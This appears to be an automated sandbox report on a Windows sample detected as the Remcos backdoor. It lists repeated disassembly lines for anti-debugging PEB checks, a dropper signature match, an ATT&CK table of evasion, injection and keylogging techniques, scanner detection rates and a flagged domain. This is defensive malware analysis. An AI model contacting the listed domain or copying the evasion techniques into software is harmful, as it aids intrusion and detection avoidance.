Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E122581 mov eax, dword ptr fs:[00000030h]	9_2_1E122581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E122581 mov eax, dword ptr fs:[00000030h]	9_2_1E122581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E121DB5 mov eax, dword ptr fs:[00000030h]	9_2_1E121DB5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E121DB5 mov eax, dword ptr fs:[00000030h]	9_2_1E121DB5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E121DB5 mov eax, dword ptr fs:[00000030h]	9_2_1E121DB5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C05AC mov eax, dword ptr fs:[00000030h]	9_2_1E1C05AC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C05AC mov eax, dword ptr fs:[00000030h]	9_2_1E1C05AC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1235A1 mov eax, dword ptr fs:[00000030h]	9_2_1E1235A1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176DC9 mov eax, dword ptr fs:[00000030h]	9_2_1E176DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176DC9 mov eax, dword ptr fs:[00000030h]	9_2_1E176DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176DC9 mov eax, dword ptr fs:[00000030h]	9_2_1E176DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176DC9 mov ecx, dword ptr fs:[00000030h]	9_2_1E176DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176DC9 mov eax, dword ptr fs:[00000030h]	9_2_1E176DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176DC9 mov eax, dword ptr fs:[00000030h]	9_2_1E176DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1A8DF1 mov eax, dword ptr fs:[00000030h]	9_2_1E1A8DF1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10D5E0 mov eax, dword ptr fs:[00000030h]	9_2_1E10D5E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10D5E0 mov eax, dword ptr fs:[00000030h]	9_2_1E10D5E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1BFDE2 mov eax, dword ptr fs:[00000030h]	9_2_1E1BFDE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1BFDE2 mov eax, dword ptr fs:[00000030h]	9_2_1E1BFDE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1BFDE2 mov eax, dword ptr fs:[00000030h]	9_2_1E1BFDE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1BFDE2 mov eax, dword ptr fs:[00000030h]	9_2_1E1BFDE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E113A1C mov eax, dword ptr fs:[00000030h]	9_2_1E113A1C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FAA16 mov eax, dword ptr fs:[00000030h]	9_2_1E0FAA16
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FAA16 mov eax, dword ptr fs:[00000030h]	9_2_1E0FAA16
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E108A0A mov eax, dword ptr fs:[00000030h]	9_2_1E108A0A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F5210 mov eax, dword ptr fs:[00000030h]	9_2_1E0F5210
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F5210 mov ecx, dword ptr fs:[00000030h]	9_2_1E0F5210
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F5210 mov eax, dword ptr fs:[00000030h]	9_2_1E0F5210
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F5210 mov eax, dword ptr fs:[00000030h]	9_2_1E0F5210
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E134A2C mov eax, dword ptr fs:[00000030h]	9_2_1E134A2C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E134A2C mov eax, dword ptr fs:[00000030h]	9_2_1E134A2C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1BEA55 mov eax, dword ptr fs:[00000030h]	9_2_1E1BEA55
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F9240 mov eax, dword ptr fs:[00000030h]	9_2_1E0F9240
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F9240 mov eax, dword ptr fs:[00000030h]	9_2_1E0F9240
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F9240 mov eax, dword ptr fs:[00000030h]	9_2_1E0F9240
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F9240 mov eax, dword ptr fs:[00000030h]	9_2_1E0F9240
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E184257 mov eax, dword ptr fs:[00000030h]	9_2_1E184257
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E13927A mov eax, dword ptr fs:[00000030h]	9_2_1E13927A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1AB260 mov eax, dword ptr fs:[00000030h]	9_2_1E1AB260
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1AB260 mov eax, dword ptr fs:[00000030h]	9_2_1E1AB260
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C8A62 mov eax, dword ptr fs:[00000030h]	9_2_1E1C8A62
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12D294 mov eax, dword ptr fs:[00000030h]	9_2_1E12D294
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12D294 mov eax, dword ptr fs:[00000030h]	9_2_1E12D294
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10AAB0 mov eax, dword ptr fs:[00000030h]	9_2_1E10AAB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10AAB0 mov eax, dword ptr fs:[00000030h]	9_2_1E10AAB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12FAB0 mov eax, dword ptr fs:[00000030h]	9_2_1E12FAB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F52A5 mov eax, dword ptr fs:[00000030h]	9_2_1E0F52A5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F52A5 mov eax, dword ptr fs:[00000030h]	9_2_1E0F52A5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F52A5 mov eax, dword ptr fs:[00000030h]	9_2_1E0F52A5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F52A5 mov eax, dword ptr fs:[00000030h]	9_2_1E0F52A5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F52A5 mov eax, dword ptr fs:[00000030h]	9_2_1E0F52A5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E122ACB mov eax, dword ptr fs:[00000030h]	9_2_1E122ACB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E122AE4 mov eax, dword ptr fs:[00000030h]	9_2_1E122AE4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B131B mov eax, dword ptr fs:[00000030h]	9_2_1E1B131B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C8B58 mov eax, dword ptr fs:[00000030h]	9_2_1E1C8B58
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FDB40 mov eax, dword ptr fs:[00000030h]	9_2_1E0FDB40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FF358 mov eax, dword ptr fs:[00000030h]	9_2_1E0FF358
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E123B7A mov eax, dword ptr fs:[00000030h]	9_2_1E123B7A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E123B7A mov eax, dword ptr fs:[00000030h]	9_2_1E123B7A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FDB60 mov ecx, dword ptr fs:[00000030h]	9_2_1E0FDB60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12B390 mov eax, dword ptr fs:[00000030h]	9_2_1E12B390
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E122397 mov eax, dword ptr fs:[00000030h]	9_2_1E122397
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B138A mov eax, dword ptr fs:[00000030h]	9_2_1E1B138A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1AD380 mov ecx, dword ptr fs:[00000030h]	9_2_1E1AD380
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E101B8F mov eax, dword ptr fs:[00000030h]	9_2_1E101B8F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E101B8F mov eax, dword ptr fs:[00000030h]	9_2_1E101B8F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C5BA5 mov eax, dword ptr fs:[00000030h]	9_2_1E1C5BA5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E124BAD mov eax, dword ptr fs:[00000030h]	9_2_1E124BAD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E124BAD mov eax, dword ptr fs:[00000030h]	9_2_1E124BAD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E124BAD mov eax, dword ptr fs:[00000030h]	9_2_1E124BAD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1753CA mov eax, dword ptr fs:[00000030h]	9_2_1E1753CA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1753CA mov eax, dword ptr fs:[00000030h]	9_2_1E1753CA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1203E2 mov eax, dword ptr fs:[00000030h]	9_2_1E1203E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1203E2 mov eax, dword ptr fs:[00000030h]	9_2_1E1203E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1203E2 mov eax, dword ptr fs:[00000030h]	9_2_1E1203E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1203E2 mov eax, dword ptr fs:[00000030h]	9_2_1E1203E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1203E2 mov eax, dword ptr fs:[00000030h]	9_2_1E1203E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1203E2 mov eax, dword ptr fs:[00000030h]	9_2_1E1203E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11DBE9 mov eax, dword ptr fs:[00000030h]	9_2_1E11DBE9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E177016 mov eax, dword ptr fs:[00000030h]	9_2_1E177016
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E177016 mov eax, dword ptr fs:[00000030h]	9_2_1E177016
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E177016 mov eax, dword ptr fs:[00000030h]	9_2_1E177016
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C4015 mov eax, dword ptr fs:[00000030h]	9_2_1E1C4015
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C4015 mov eax, dword ptr fs:[00000030h]	9_2_1E1C4015
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10B02A mov eax, dword ptr fs:[00000030h]	9_2_1E10B02A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10B02A mov eax, dword ptr fs:[00000030h]	9_2_1E10B02A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10B02A mov eax, dword ptr fs:[00000030h]	9_2_1E10B02A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10B02A mov eax, dword ptr fs:[00000030h]	9_2_1E10B02A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12002D mov eax, dword ptr fs:[00000030h]	9_2_1E12002D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12002D mov eax, dword ptr fs:[00000030h]	9_2_1E12002D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12002D mov eax, dword ptr fs:[00000030h]	9_2_1E12002D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12002D mov eax, dword ptr fs:[00000030h]	9_2_1E12002D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12002D mov eax, dword ptr fs:[00000030h]	9_2_1E12002D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E110050 mov eax, dword ptr fs:[00000030h]	9_2_1E110050
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E110050 mov eax, dword ptr fs:[00000030h]	9_2_1E110050
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B2073 mov eax, dword ptr fs:[00000030h]	9_2_1E1B2073
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C1074 mov eax, dword ptr fs:[00000030h]	9_2_1E1C1074
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F9080 mov eax, dword ptr fs:[00000030h]	9_2_1E0F9080
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E173884 mov eax, dword ptr fs:[00000030h]	9_2_1E173884
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E173884 mov eax, dword ptr fs:[00000030h]	9_2_1E173884
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12F0BF mov ecx, dword ptr fs:[00000030h]	9_2_1E12F0BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12F0BF mov eax, dword ptr fs:[00000030h]	9_2_1E12F0BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12F0BF mov eax, dword ptr fs:[00000030h]	9_2_1E12F0BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1220A0 mov eax, dword ptr fs:[00000030h]	9_2_1E1220A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1220A0 mov eax, dword ptr fs:[00000030h]	9_2_1E1220A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1220A0 mov eax, dword ptr fs:[00000030h]	9_2_1E1220A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1220A0 mov eax, dword ptr fs:[00000030h]	9_2_1E1220A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1220A0 mov eax, dword ptr fs:[00000030h]	9_2_1E1220A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1220A0 mov eax, dword ptr fs:[00000030h]	9_2_1E1220A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1390AF mov eax, dword ptr fs:[00000030h]	9_2_1E1390AF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E18B8D0 mov eax, dword ptr fs:[00000030h]	9_2_1E18B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E18B8D0 mov ecx, dword ptr fs:[00000030h]	9_2_1E18B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E18B8D0 mov eax, dword ptr fs:[00000030h]	9_2_1E18B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E18B8D0 mov eax, dword ptr fs:[00000030h]	9_2_1E18B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E18B8D0 mov eax, dword ptr fs:[00000030h]	9_2_1E18B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E18B8D0 mov eax, dword ptr fs:[00000030h]	9_2_1E18B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F58EC mov eax, dword ptr fs:[00000030h]	9_2_1E0F58EC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F9100 mov eax, dword ptr fs:[00000030h]	9_2_1E0F9100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F9100 mov eax, dword ptr fs:[00000030h]	9_2_1E0F9100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F9100 mov eax, dword ptr fs:[00000030h]	9_2_1E0F9100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12513A mov eax, dword ptr fs:[00000030h]	9_2_1E12513A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12513A mov eax, dword ptr fs:[00000030h]	9_2_1E12513A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E114120 mov eax, dword ptr fs:[00000030h]	9_2_1E114120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E114120 mov eax, dword ptr fs:[00000030h]	9_2_1E114120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E114120 mov eax, dword ptr fs:[00000030h]	9_2_1E114120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E114120 mov eax, dword ptr fs:[00000030h]	9_2_1E114120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E114120 mov ecx, dword ptr fs:[00000030h]	9_2_1E114120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11B944 mov eax, dword ptr fs:[00000030h]	9_2_1E11B944
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11B944 mov eax, dword ptr fs:[00000030h]	9_2_1E11B944
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FC962 mov eax, dword ptr fs:[00000030h]	9_2_1E0FC962
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FB171 mov eax, dword ptr fs:[00000030h]	9_2_1E0FB171
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FB171 mov eax, dword ptr fs:[00000030h]	9_2_1E0FB171
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E122990 mov eax, dword ptr fs:[00000030h]	9_2_1E122990
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11C182 mov eax, dword ptr fs:[00000030h]	9_2_1E11C182
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12A185 mov eax, dword ptr fs:[00000030h]	9_2_1E12A185
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1751BE mov eax, dword ptr fs:[00000030h]	9_2_1E1751BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1751BE mov eax, dword ptr fs:[00000030h]	9_2_1E1751BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1751BE mov eax, dword ptr fs:[00000030h]	9_2_1E1751BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1751BE mov eax, dword ptr fs:[00000030h]	9_2_1E1751BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1769A6 mov eax, dword ptr fs:[00000030h]	9_2_1E1769A6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1261A0 mov eax, dword ptr fs:[00000030h]	9_2_1E1261A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1261A0 mov eax, dword ptr fs:[00000030h]	9_2_1E1261A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FB1E1 mov eax, dword ptr fs:[00000030h]	9_2_1E0FB1E1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FB1E1 mov eax, dword ptr fs:[00000030h]	9_2_1E0FB1E1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FB1E1 mov eax, dword ptr fs:[00000030h]	9_2_1E0FB1E1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1841E8 mov eax, dword ptr fs:[00000030h]	9_2_1E1841E8

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Process created: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe'

Jump to behavior

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000009.00000002.474023996.0000000000D50000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000009.00000002.474023996.0000000000D50000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000009.00000002.474023996.0000000000D50000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000009.00000002.474023996.0000000000D50000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Stealing of Sensitive Information:

Yara detected Generic Dropper

Show sources

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Mal.Generic-S.24480.exe PID: 6412, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion23	Input Capture1	Security Software Discovery721	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion23	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Deobfuscate/Decode Files or Information1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information2	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery31	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Mal.Generic-S.24480.exe	28%	Virustotal		Browse
SecuriteInfo.com.Mal.Generic-S.24480.exe	21%	ReversingLabs	Win32.Backdoor.Remcos

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
mertyapit.com	3%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
